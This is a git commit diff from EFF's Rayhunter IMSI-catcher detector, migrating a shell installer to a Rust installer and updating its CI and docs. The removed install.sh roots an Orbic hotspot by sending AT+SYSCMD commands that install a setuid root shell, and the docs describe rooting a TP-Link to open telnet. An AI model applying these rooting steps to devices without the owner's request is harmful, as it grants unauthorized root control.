mirror of
https://github.com/EFForg/rayhunter.git
synced 2026-04-28 08:29:58 -07:00
Merge remote-tracking branch 'upstream'
This commit is contained in:
61
.github/workflows/build-release.yml
vendored
61
.github/workflows/build-release.yml
vendored
@@ -8,9 +8,12 @@ on:
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
FILE_ROOTSHELL: ../../rootshell/rootshell
|
||||
FILE_RAYHUNTER_DAEMON_ORBIC: ../../rayhunter-daemon-orbic/rayhunter-daemon
|
||||
FILE_RAYHUNTER_DAEMON_TPLINK: ../../rayhunter-daemon-tplink/rayhunter-daemon
|
||||
|
||||
jobs:
|
||||
build_serial_and_check:
|
||||
build_rayhunter_check:
|
||||
strategy:
|
||||
matrix:
|
||||
platform:
|
||||
@@ -32,18 +35,7 @@ jobs:
|
||||
runs-on: ${{ matrix.platform.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
targets: ${{ matrix.platform.target }}
|
||||
- name: Build serial
|
||||
run: cargo build --bin serial --release --target ${{ matrix.platform.target }}
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: serial-${{ matrix.platform.name }}
|
||||
path: target/${{ matrix.platform.target }}/release/serial${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
|
||||
if-no-files-found: error
|
||||
- uses: actions/checkout@v4
|
||||
- name: Build check
|
||||
- name: Build rayhunter-check
|
||||
run: cargo build --bin rayhunter-check --release
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
@@ -88,17 +80,53 @@ jobs:
|
||||
name: rayhunter-daemon-${{ matrix.device.name }}
|
||||
path: target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon
|
||||
if-no-files-found: error
|
||||
build_rust_installer:
|
||||
needs:
|
||||
- build_rayhunter
|
||||
strategy:
|
||||
matrix:
|
||||
platform:
|
||||
- name: ubuntu-24
|
||||
os: ubuntu-latest
|
||||
target: x86_64-unknown-linux-musl
|
||||
- name: ubuntu-24-aarch64
|
||||
os: ubuntu-24.04-arm
|
||||
target: aarch64-unknown-linux-musl
|
||||
- name: macos-arm
|
||||
os: macos-latest
|
||||
target: aarch64-apple-darwin
|
||||
- name: macos-intel
|
||||
os: macos-13
|
||||
target: x86_64-apple-darwin
|
||||
- name: windows-x86_64
|
||||
os: windows-latest
|
||||
target: x86_64-pc-windows-gnu
|
||||
runs-on: ${{ matrix.platform.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
targets: ${{ matrix.platform.target }}
|
||||
- run: cargo build --bin installer --release --target ${{ matrix.platform.target }}
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: installer-${{ matrix.platform.name }}
|
||||
path: target/${{ matrix.platform.target }}/release/installer${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
|
||||
if-no-files-found: error
|
||||
|
||||
build_release_zip:
|
||||
needs:
|
||||
- build_serial_and_check
|
||||
- build_rayhunter_check
|
||||
- build_rootshell
|
||||
- build_rayhunter
|
||||
- build_rust_installer
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/download-artifact@v4
|
||||
- name: Fix executable permissions on binaries
|
||||
run: chmod +x serial-*/serial rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon
|
||||
run: chmod +x installer-*/installer rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon
|
||||
- name: Get Rayhunter version
|
||||
id: get_version
|
||||
run: echo "VERSION=$(grep '^version' bin/Cargo.toml | head -n 1 | cut -d'"' -f2)" >> $GITHUB_ENV
|
||||
@@ -106,7 +134,7 @@ jobs:
|
||||
run: |
|
||||
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
|
||||
mkdir "$VERSIONED_DIR"
|
||||
mv dist/* "$VERSIONED_DIR"/
|
||||
mv rayhunter-daemon-* rootshell/rootshell installer-* "$VERSIONED_DIR"/
|
||||
- name: Archive release directory as zip
|
||||
run: |
|
||||
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
|
||||
@@ -115,6 +143,7 @@ jobs:
|
||||
run: |
|
||||
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
|
||||
sha256sum "$VERSIONED_DIR.zip" > "$VERSIONED_DIR.zip.sha256"
|
||||
# TODO: have this create a release directly
|
||||
- name: Upload zip release and sha256
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
|
||||
7
.github/workflows/check-and-test.yml
vendored
7
.github/workflows/check-and-test.yml
vendored
@@ -8,6 +8,7 @@ on:
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
NO_FIRMWARE_BIN: true
|
||||
|
||||
jobs:
|
||||
check_and_test:
|
||||
@@ -37,17 +38,17 @@ jobs:
|
||||
- name: Run clippy
|
||||
run: cargo clippy --verbose --no-default-features --features=${{ matrix.device.name }}
|
||||
|
||||
windows_serial_check_and_test:
|
||||
windows_installer_check_and_test:
|
||||
runs-on: windows-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: cargo check
|
||||
shell: bash
|
||||
run: |
|
||||
cd serial
|
||||
cd installer
|
||||
cargo check --verbose
|
||||
- name: cargo test
|
||||
shell: bash
|
||||
run: |
|
||||
cd serial
|
||||
cd installer
|
||||
cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
|
||||
|
||||
2493
Cargo.lock
generated
2493
Cargo.lock
generated
File diff suppressed because it is too large
Load Diff
@@ -3,8 +3,8 @@
|
||||
members = [
|
||||
"lib",
|
||||
"bin",
|
||||
"serial",
|
||||
"rootshell",
|
||||
"telcom-parser",
|
||||
"installer",
|
||||
]
|
||||
resolver = "2"
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rayhunter-daemon"
|
||||
version = "0.2.8"
|
||||
version = "0.3.0"
|
||||
edition = "2021"
|
||||
|
||||
[features]
|
||||
|
||||
@@ -21,7 +21,7 @@
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
fill="hsl(200, 40%, 20%)"
|
||||
fill="white"
|
||||
d="M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19M6,19A2,2 0 0,0 8,21H16A2,2 0 0,0 18,19V7H6V19Z"
|
||||
/>
|
||||
</svg>
|
||||
|
||||
@@ -11,14 +11,14 @@
|
||||
<table class="table-auto text-left border">
|
||||
<thead class="p-2">
|
||||
<tr class="bg-gray-300">
|
||||
<th scope="col">Name</th>
|
||||
<th scope="col">Date Started</th>
|
||||
<th scope="col">Date of Last Message</th>
|
||||
<th scope="col">Size (bytes)</th>
|
||||
<th scope="col">PCAP</th>
|
||||
<th scope="col">QMDL</th>
|
||||
<th scope="col">Analysis</th>
|
||||
<th scope="col">Delete</th>
|
||||
<th class='p-2' scope="col">Name</th>
|
||||
<th class='p-2' scope="col">Date Started</th>
|
||||
<th class='p-2' scope="col">Date of Last Message</th>
|
||||
<th class='p-2' scope="col">Size (bytes)</th>
|
||||
<th class='p-2' scope="col">PCAP</th>
|
||||
<th class='p-2' scope="col">QMDL</th>
|
||||
<th class='p-2' scope="col">Analysis</th>
|
||||
<th class='p-2' scope="col">Delete</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
|
||||
@@ -48,7 +48,7 @@
|
||||
</td>
|
||||
{/if}
|
||||
</tr>
|
||||
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'collapse'}">
|
||||
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}">
|
||||
<td class="font-bold p-2 bg-blue-100"></td>
|
||||
<td class="border-t border-dashed p-2" colspan="7">
|
||||
<AnalysisView {entry} />
|
||||
|
||||
@@ -4,7 +4,13 @@ export default {
|
||||
content: ['./src/**/*.{html,js,svelte,ts}'],
|
||||
|
||||
theme: {
|
||||
extend: {}
|
||||
extend: {
|
||||
colors: {
|
||||
'rayhunter-blue': '#4e4eb1',
|
||||
'rayhunter-dark-blue': '#3f3da0',
|
||||
'rayhunter-green': '#94ea18'
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
plugins: []
|
||||
|
||||
1
dist/install-windows.bat
vendored
1
dist/install-windows.bat
vendored
@@ -1 +0,0 @@
|
||||
ECHO TODO
|
||||
142
dist/install.sh
vendored
142
dist/install.sh
vendored
@@ -1,142 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
set -e
|
||||
|
||||
force_debug_mode() {
|
||||
echo "Using adb at $ADB"
|
||||
echo "Force a switch into the debug mode to enable ADB"
|
||||
"$SERIAL_PATH" --root
|
||||
echo -n "adb enabled, waiting for reboot..."
|
||||
wait_for_adb_shell
|
||||
echo " it's alive!"
|
||||
echo -n "waiting for atfwd_daemon to startup..."
|
||||
wait_for_atfwd_daemon
|
||||
echo " done!"
|
||||
}
|
||||
|
||||
wait_for_atfwd_daemon() {
|
||||
until [ -n "$(_adb_shell 'pgrep atfwd_daemon')" ]
|
||||
do
|
||||
sleep 1
|
||||
done
|
||||
}
|
||||
|
||||
wait_for_adb_shell() {
|
||||
until _adb_shell true 2> /dev/null
|
||||
do
|
||||
sleep 1
|
||||
done
|
||||
}
|
||||
|
||||
setup_rootshell() {
|
||||
_adb_push rootshell /tmp/
|
||||
_at_syscmd "cp /tmp/rootshell /bin/rootshell"
|
||||
sleep 1
|
||||
_at_syscmd "chown root /bin/rootshell"
|
||||
sleep 1
|
||||
_at_syscmd "chmod 4755 /bin/rootshell"
|
||||
_adb_shell '/bin/rootshell -c id'
|
||||
echo "we have root!"
|
||||
}
|
||||
|
||||
_adb_push() {
|
||||
"$ADB" push "$(dirname "$0")/$1" "$2"
|
||||
}
|
||||
|
||||
_adb_shell() {
|
||||
"$ADB" shell "$1"
|
||||
}
|
||||
|
||||
_at_syscmd() {
|
||||
"$SERIAL_PATH" "AT+SYSCMD=$1"
|
||||
}
|
||||
|
||||
setup_rayhunter() {
|
||||
_at_syscmd "mkdir -p /data/rayhunter"
|
||||
_adb_push config.toml.example /tmp/config.toml
|
||||
_at_syscmd "mv /tmp/config.toml /data/rayhunter"
|
||||
_adb_push rayhunter-daemon-orbic/rayhunter-daemon /tmp/rayhunter-daemon
|
||||
_at_syscmd "mv /tmp/rayhunter-daemon /data/rayhunter"
|
||||
_adb_push scripts/rayhunter_daemon /tmp/rayhunter_daemon
|
||||
_at_syscmd "mv /tmp/rayhunter_daemon /etc/init.d/rayhunter_daemon"
|
||||
_adb_push scripts/misc-daemon /tmp/misc-daemon
|
||||
_at_syscmd "mv /tmp/misc-daemon /etc/init.d/misc-daemon"
|
||||
|
||||
_at_syscmd "chmod 755 /etc/init.d/rayhunter_daemon"
|
||||
_at_syscmd "chmod 755 /etc/init.d/misc-daemon"
|
||||
|
||||
echo -n "waiting for reboot..."
|
||||
_at_syscmd "shutdown -r -t 1 now"
|
||||
|
||||
# first wait for shutdown (it can take ~10s)
|
||||
until ! _adb_shell true 2> /dev/null
|
||||
do
|
||||
sleep 1
|
||||
done
|
||||
|
||||
# now wait for boot to finish
|
||||
wait_for_adb_shell
|
||||
|
||||
echo " done!"
|
||||
}
|
||||
|
||||
test_rayhunter() {
|
||||
URL="http://localhost:8080"
|
||||
"$ADB" forward tcp:8080 tcp:8080 > /dev/null
|
||||
echo -n "checking for rayhunter server..."
|
||||
|
||||
SECONDS=0
|
||||
while (( SECONDS < 30 )); do
|
||||
if curl -L --fail-with-body "$URL" -o /dev/null -s; then
|
||||
echo "success!"
|
||||
echo "you can access rayhunter at $URL"
|
||||
return
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
echo "timeout reached! failed to reach rayhunter url $URL, something went wrong :("
|
||||
}
|
||||
|
||||
##### ##### #####
|
||||
##### Main #####
|
||||
##### ##### #####
|
||||
if [[ `uname -s` == "Linux" ]]; then
|
||||
if [[ `uname -m` == "arm64" ]]; then
|
||||
export SERIAL_PATH="./serial-ubuntu-24-aarch64/serial"
|
||||
elif [[ `uname -m` == "x86_64" ]]; then
|
||||
export SERIAL_PATH="./serial-ubuntu-24/serial"
|
||||
fi
|
||||
export PLATFORM_TOOLS="platform-tools-latest-linux.zip"
|
||||
elif [[ `uname -s` == "Darwin" ]]; then
|
||||
if [[ `uname -m` == "arm64" ]]; then
|
||||
export SERIAL_PATH="./serial-macos-arm/serial"
|
||||
elif [[ `uname -m` == "x86_64" ]]; then
|
||||
export SERIAL_PATH="./serial-macos-intel/serial"
|
||||
fi
|
||||
export PLATFORM_TOOLS="platform-tools-latest-darwin.zip"
|
||||
# if we've already deleted this attribute, xattr errors out
|
||||
xattr -d com.apple.quarantine "$SERIAL_PATH" || echo
|
||||
else
|
||||
echo "This script only supports Linux or macOS"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ ! -x "$SERIAL_PATH" ]; then
|
||||
echo "The serial binary cannot be found at $SERIAL_PATH. If you are running this from the git tree please instead run it from the latest release bundle https://github.com/EFForg/rayhunter/releases"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command -v adb &> /dev/null; then
|
||||
if [ ! -d ./platform-tools ] ; then
|
||||
echo "adb not found, downloading local copy"
|
||||
curl -O "https://dl.google.com/android/repository/${PLATFORM_TOOLS}"
|
||||
unzip $PLATFORM_TOOLS
|
||||
fi
|
||||
export ADB="./platform-tools/adb"
|
||||
else
|
||||
export ADB=`which adb`
|
||||
fi
|
||||
|
||||
force_debug_mode
|
||||
setup_rootshell
|
||||
setup_rayhunter
|
||||
test_rayhunter
|
||||
2
dist/scripts/rayhunter_daemon
vendored
2
dist/scripts/rayhunter_daemon
vendored
@@ -5,6 +5,8 @@ set -e
|
||||
case "$1" in
|
||||
start)
|
||||
echo -n "Starting rayhunter: "
|
||||
# Below line may be replaced by the installer with device-specific startup commands, such as mounting the SD card.
|
||||
#RAYHUNTER-PRESTART
|
||||
start-stop-daemon -S -b --make-pidfile --pidfile /tmp/rayhunter.pid \
|
||||
--startas /bin/sh -- -c "RUST_LOG=info exec /data/rayhunter/rayhunter-daemon /data/rayhunter/config.toml > /data/rayhunter/rayhunter.log 2>&1"
|
||||
echo "done"
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
- [Updating Rayhunter](./updating-rayhunter.md)
|
||||
- [Uninstalling](./uninstalling.md)
|
||||
- [Using Rayhunter](./using-rayhunter.md)
|
||||
- [Rayhunter's hueristics](./heuristics.md)
|
||||
- [Rayhunter's heuristics](./heuristics.md)
|
||||
- [How we analyze a capture](./analyzing-a-capture.md)
|
||||
- [Supported devices](./supported-devices.md)
|
||||
- [TP-Link M7350](./tplink-m7350.md)
|
||||
|
||||
@@ -11,16 +11,21 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
|
||||
cd ~/Downloads/release
|
||||
```
|
||||
|
||||
3. Turn on your device. For the Orbic, you can do this by holding the power button for 3 seconds or until the screen turns on. Plug it into your computer using a USB-C Cable.
|
||||
3. Turn on your device by holding the power button on the front.
|
||||
|
||||
* For the Orbic, connect the device using a USB-C cable.
|
||||
* For TP-Link, connect to its network using either WiFi or USB Tethering.
|
||||
|
||||
4. Run the install script for your operating system:
|
||||
|
||||
```bash
|
||||
./install.sh
|
||||
./install orbic
|
||||
# or: ./install tplink
|
||||
```
|
||||
|
||||
The device will restart multiple times over the next few minutes.
|
||||
|
||||
You will know it is done when you see terminal output that says `checking for rayhunter server...success!`
|
||||
You will know it is done when you see terminal output that says `Testing rayhunter... done`
|
||||
|
||||
5. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter). You should also see a green line flash along the top of top the display on the device.
|
||||
|
||||
|
||||
@@ -32,7 +32,15 @@ rustup target add x86_64-apple-darwin
|
||||
rustup target add x86_64-pc-windows-gnu
|
||||
```
|
||||
|
||||
Now you can root your device and install Rayhunter by running `./tools/install-dev.sh`
|
||||
Now you can root your device and install Rayhunter by running:
|
||||
|
||||
```sh
|
||||
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --release --no-default-features --features orbic
|
||||
|
||||
cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --release
|
||||
|
||||
cargo run --bin installer orbic
|
||||
```
|
||||
|
||||
### If you're on Windows or can't run the install scripts
|
||||
|
||||
|
||||
@@ -1,40 +1,54 @@
|
||||
# TP-Link M7350
|
||||
|
||||
Rayhunter is currently working on support for the TP-Link M7350. This
|
||||
device supports many more frequency bands than the Orbic RC400L, meaning it
|
||||
works in the EU, for example.
|
||||
The TP-Link M7350 is supported by Rayhunter as of 0.2.9. It supports many more frequency bands than Orbic and therefore works in Europe.
|
||||
|
||||
You can get it [on
|
||||
Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313)
|
||||
on Amazon, but particularly in the EU it is often significantly cheaper
|
||||
second-hand on local forums, ranging anywhere from 15 EUR to 50 EUR (used)
|
||||
You can get it from:
|
||||
|
||||
As of 0.2.8, the official Rayhunter release contains a
|
||||
"rayhunter-daemon-tplink" binary that can be manually installed onto the
|
||||
device. Work on an official installer like `install.sh` is in progress.
|
||||
* First check for used offers on Ebay or equivalent, sometimes it's much cheaper there.
|
||||
* [Geizhals price comparison](https://geizhals.eu/?fs=tp-link+m7350)
|
||||
* [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313)
|
||||
|
||||
For information on manual installation see
|
||||
[rayhunter-tplink-m7350](https://github.com/m0veax/rayhunter-tplink-m7350/)
|
||||
## Installation & Usage
|
||||
|
||||
## Hardware versions
|
||||
Follow the [release installation guide](./installing-from-release.md). Substitute `./installer orbic` for `./installer tplink` in other documentation. The rayhunter UI will be available at [http://192.168.0.1:8080](http://192.168.0.1:8080).
|
||||
|
||||
The TP-Link comes in many different *hardware versions*. You can find the
|
||||
hardware version of each device under the battery or next to the barcode on the
|
||||
outer packaging, for example `V3.0` or `V5.2`. Support for installation varies:
|
||||
Unlike on Orbic, the installer will not enable ADB. Instead, you can do this to obtain a root shell:
|
||||
|
||||
* `1.0-2.0`: Not tested, probably impossible to obtain anymore (even second-hand)
|
||||
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: Tested, no issues.
|
||||
* `9.0`: Recording might be broken, could be fixed if there is demand.
|
||||
|
||||
Otherwise is mostly no difference to the user, except that versions after `3.0`
|
||||
have a color display.
|
||||
```sh
|
||||
./installer util tplink-start-telnet
|
||||
telnet 192.168.0.1
|
||||
```
|
||||
|
||||
## Display states
|
||||
|
||||
If your device has a color display, Rayhunter will show the same
|
||||
red/green/white line at the top of the display as it does on Orbic, each color
|
||||
meaning "warning"/"recording"/"paused" respectively.
|
||||
meaning "warning"/"recording"/"paused" respectively. See [Using Rayhunter](./using-rayhunter.md).
|
||||
|
||||
If your device has a one-bit (black-and-white) display, Rayhunter will instead
|
||||
show an emoji to indicate status. `!` means "warning", `:)` (smiling) means
|
||||
"recording", `:` (face with no mouth) means "paused".
|
||||
show an emoji to indicate status:
|
||||
|
||||
* `!` means "warning (potential IMSI catcher)"
|
||||
* `:)` (smiling) means "recording"
|
||||
* `:` (face with no mouth) means "paused"
|
||||
|
||||
## Hardware versions
|
||||
|
||||
The TP-Link comes in many different *hardware versions*. Support for installation varies:
|
||||
|
||||
* `1.0-2.0`: Not tested, probably impossible to obtain anymore (even second-hand)
|
||||
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: Tested, no issues.
|
||||
* `9.0`: Recording might be broken, could be fixed if there is demand.
|
||||
|
||||
TP-Link versions newer than `3.0` have cyan packaging and a color display.
|
||||
Version `3.0` has a one-bit display and white packaging.
|
||||
|
||||
You can find the exact hardware version of each device under the battery or
|
||||
next to the barcode on the outer packaging, for example `V3.0` or `V5.2`.
|
||||
|
||||
When filing bug reports, particularly with the installer, please always
|
||||
specify the exact hardware version.
|
||||
|
||||
## Other links
|
||||
|
||||
For more information on the device and instructions on how to install Rayhunter without an installer, see [rayhunter-tplink-m7350](https://github.com/m0veax/rayhunter-tplink-m7350/)
|
||||
|
||||
@@ -6,9 +6,15 @@ It also serves a web UI that provides some basic controls, such as being able to
|
||||
|
||||
You can access this UI in one of two ways:
|
||||
|
||||
1. **Connect over wifi:** Connect your phone/laptop to your device's wifi network and visit [http://192.168.1.1:8080](http://192.168.1.1:8080). (Click past your browser warning you about the connection not being secure, Rayhunter doesn't have HTTPS yet).
|
||||
* On the Orbic, you can find the wifi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
|
||||
2. **Connect over USB:** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit [http://localhost:8080](http://localhost:8080).
|
||||
* **Connect over wifi:** Connect your phone/laptop to your device's wifi
|
||||
network and visit [http://192.168.1.1:8080](http://192.168.1.1:8080) (orbic)
|
||||
or [http://192.168.0.1:8080](http://192.168.0.1:8080) (tplink).
|
||||
|
||||
Click past your browser warning you about the connection not being secure, Rayhunter doesn't have HTTPS yet.
|
||||
|
||||
On the Orbic, you can find the wifi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
|
||||
* **Connect over USB (orbic):** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit [http://localhost:8080](http://localhost:8080).
|
||||
* For this you will need to install the Android Debug Bridge (ADB) on your computer, you can copy the version that was downloaded inside the `releases/platform-tools/` folder to somewhere else in your path or you can install it manually.
|
||||
* You can find instructions for doing so on your platform [here](https://www.xda-developers.com/install-adb-windows-macos-linux/#how-to-set-up-adb-on-your-computer), (don't worry about instructions for installing it on a phone/device yet).
|
||||
* On macOS, the easiest way to install ADB is with Homebrew: First [install Homebrew](https://brew.sh/), then run `brew install android-platform-tools`.
|
||||
* **Connect over USB (tplink):** Plug in the TP-Link and use USB tethering to establish a network connection. ADB support can be enabled on the device, but the installer won't do it for you.
|
||||
|
||||
32
installer/Cargo.toml
Normal file
32
installer/Cargo.toml
Normal file
@@ -0,0 +1,32 @@
|
||||
[package]
|
||||
name = "installer"
|
||||
version = "0.3.0"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
anyhow = "1.0.98"
|
||||
axum = "0.8.3"
|
||||
bytes = "1.10.1"
|
||||
clap = { version = "4.5.37", features = ["derive"] }
|
||||
hyper = "1.6.0"
|
||||
hyper-util = "0.1.11"
|
||||
md5 = "0.7.0"
|
||||
nusb = "0.1.13"
|
||||
reqwest = { version = "0.12.15", features = ["json"], default-features = false }
|
||||
serde = { version = "1.0.219", features = ["derive"] }
|
||||
sha2 = "0.10.8"
|
||||
tokio = { version = "1.44.2", features = ["full"] }
|
||||
tokio-retry2 = "0.5.7"
|
||||
tokio-stream = "0.1.17"
|
||||
|
||||
[target.'cfg(target_os = "linux")'.dependencies.adb_client]
|
||||
git = "https://github.com/gaykitty/adb_client.git"
|
||||
rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81"
|
||||
default-features = false
|
||||
features = ["trans-nusb"]
|
||||
|
||||
[target.'cfg(any(target_os = "windows", target_os = "macos"))'.dependencies.adb_client]
|
||||
git = "https://github.com/gaykitty/adb_client.git"
|
||||
rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81"
|
||||
default-features = false
|
||||
features = ["trans-libusb"]
|
||||
45
installer/build.rs
Normal file
45
installer/build.rs
Normal file
@@ -0,0 +1,45 @@
|
||||
use core::str;
|
||||
use std::path::Path;
|
||||
use std::process::exit;
|
||||
|
||||
fn main() {
|
||||
println!("cargo::rerun-if-env-changed=NO_FIRMWARE_BIN");
|
||||
let include_dir = Path::new(concat!(
|
||||
env!("CARGO_MANIFEST_DIR"),
|
||||
"/../target/armv7-unknown-linux-musleabihf/release/"
|
||||
));
|
||||
set_binary_var(&include_dir, "FILE_ROOTSHELL", "rootshell");
|
||||
set_binary_var(
|
||||
&include_dir,
|
||||
"FILE_RAYHUNTER_DAEMON_ORBIC",
|
||||
"rayhunter-daemon",
|
||||
);
|
||||
set_binary_var(
|
||||
&include_dir,
|
||||
"FILE_RAYHUNTER_DAEMON_TPLINK",
|
||||
"rayhunter-daemon",
|
||||
);
|
||||
}
|
||||
|
||||
fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
|
||||
if std::env::var_os("NO_FIRMWARE_BIN").is_some() {
|
||||
let out_dir = std::env::var("OUT_DIR").unwrap();
|
||||
std::fs::create_dir_all(&out_dir).unwrap();
|
||||
let blank = Path::new(&out_dir).join("blank");
|
||||
std::fs::write(&blank, &[]).unwrap();
|
||||
println!("cargo::rustc-env={var}={}", blank.display());
|
||||
return;
|
||||
}
|
||||
if std::env::var_os(var).is_none() {
|
||||
let binary = include_dir.join(file);
|
||||
if !binary.exists() {
|
||||
println!(
|
||||
"cargo::error=Firmware binary {file} not present at {}",
|
||||
binary.display()
|
||||
);
|
||||
exit(0);
|
||||
}
|
||||
println!("cargo::rustc-env={var}={}", binary.display());
|
||||
println!("cargo::rerun-if-changed={}", binary.display());
|
||||
}
|
||||
}
|
||||
110
installer/src/main.rs
Normal file
110
installer/src/main.rs
Normal file
@@ -0,0 +1,110 @@
|
||||
use anyhow::{Context, Error, bail};
|
||||
use clap::{Parser, Subcommand};
|
||||
|
||||
mod orbic;
|
||||
mod tplink;
|
||||
|
||||
pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.example");
|
||||
pub static RAYHUNTER_DAEMON_INIT: &str = include_str!("../../dist/scripts/rayhunter_daemon");
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(version, about)]
|
||||
struct Args {
|
||||
#[command(subcommand)]
|
||||
command: Command,
|
||||
}
|
||||
|
||||
#[derive(Subcommand, Debug)]
|
||||
enum Command {
|
||||
/// Install rayhunter on the Orbic Orbic RC400L.
|
||||
Orbic(InstallOrbic),
|
||||
/// Install rayhunter on the TP-Link M7350.
|
||||
Tplink(InstallTpLink),
|
||||
/// Developer utilities.
|
||||
Util(Util),
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
struct InstallTpLink {
|
||||
/// Do not enforce use of SD card. All data will be stored in /mnt/card regardless, which means
|
||||
/// that if an SD card is later added, your existing installation is shadowed!
|
||||
#[arg(long)]
|
||||
skip_sdcard: bool,
|
||||
|
||||
/// IP address for TP-Link admin interface, if custom.
|
||||
#[arg(long, default_value = "192.168.0.1")]
|
||||
admin_ip: String,
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
struct InstallOrbic {}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
struct Util {
|
||||
#[command(subcommand)]
|
||||
command: UtilSubCommand,
|
||||
}
|
||||
|
||||
#[derive(Subcommand, Debug)]
|
||||
enum UtilSubCommand {
|
||||
/// Send a serial command to the Orbic.
|
||||
Serial(Serial),
|
||||
/// Root the tplink and launch telnetd.
|
||||
TplinkStartTelnet(TplinkStartTelnet),
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
struct TplinkStartTelnet {
|
||||
/// IP address for TP-Link admin interface, if custom.
|
||||
#[arg(long, default_value = "192.168.0.1")]
|
||||
admin_ip: String,
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
struct Serial {
|
||||
#[arg(long)]
|
||||
root: bool,
|
||||
command: Vec<String>,
|
||||
}
|
||||
|
||||
async fn run() -> Result<(), Error> {
|
||||
let Args { command } = Args::parse();
|
||||
|
||||
match command {
|
||||
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
|
||||
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
|
||||
Command::Util(subcommand) => match subcommand.command {
|
||||
UtilSubCommand::Serial(serial_cmd) => {
|
||||
if serial_cmd.root {
|
||||
if !serial_cmd.command.is_empty() {
|
||||
eprintln!("You cannot use --root and specify a command at the same time");
|
||||
std::process::exit(64);
|
||||
}
|
||||
orbic::enable_command_mode()?;
|
||||
} else if serial_cmd.command.is_empty() {
|
||||
eprintln!("Command cannot be an empty string");
|
||||
std::process::exit(64);
|
||||
} else {
|
||||
let cmd = serial_cmd.command.join(" ");
|
||||
match orbic::open_orbic()? {
|
||||
Some(interface) => orbic::send_serial_cmd(&interface, &cmd).await?,
|
||||
None => bail!(orbic::ORBIC_NOT_FOUND),
|
||||
}
|
||||
}
|
||||
}
|
||||
UtilSubCommand::TplinkStartTelnet(options) => {
|
||||
tplink::start_telnet(&options.admin_ip).await?;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() {
|
||||
if let Err(e) = run().await {
|
||||
eprintln!("{e:?}");
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
457
installer/src/orbic.rs
Normal file
457
installer/src/orbic.rs
Normal file
@@ -0,0 +1,457 @@
|
||||
use std::io::{ErrorKind, Write};
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
|
||||
use adb_client::{ADBDeviceExt, ADBUSBDevice, RustADBError};
|
||||
use anyhow::{Context, Result, anyhow, bail};
|
||||
use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer};
|
||||
use nusb::{Device, Interface};
|
||||
use sha2::{Digest, Sha256};
|
||||
use tokio::time::sleep;
|
||||
|
||||
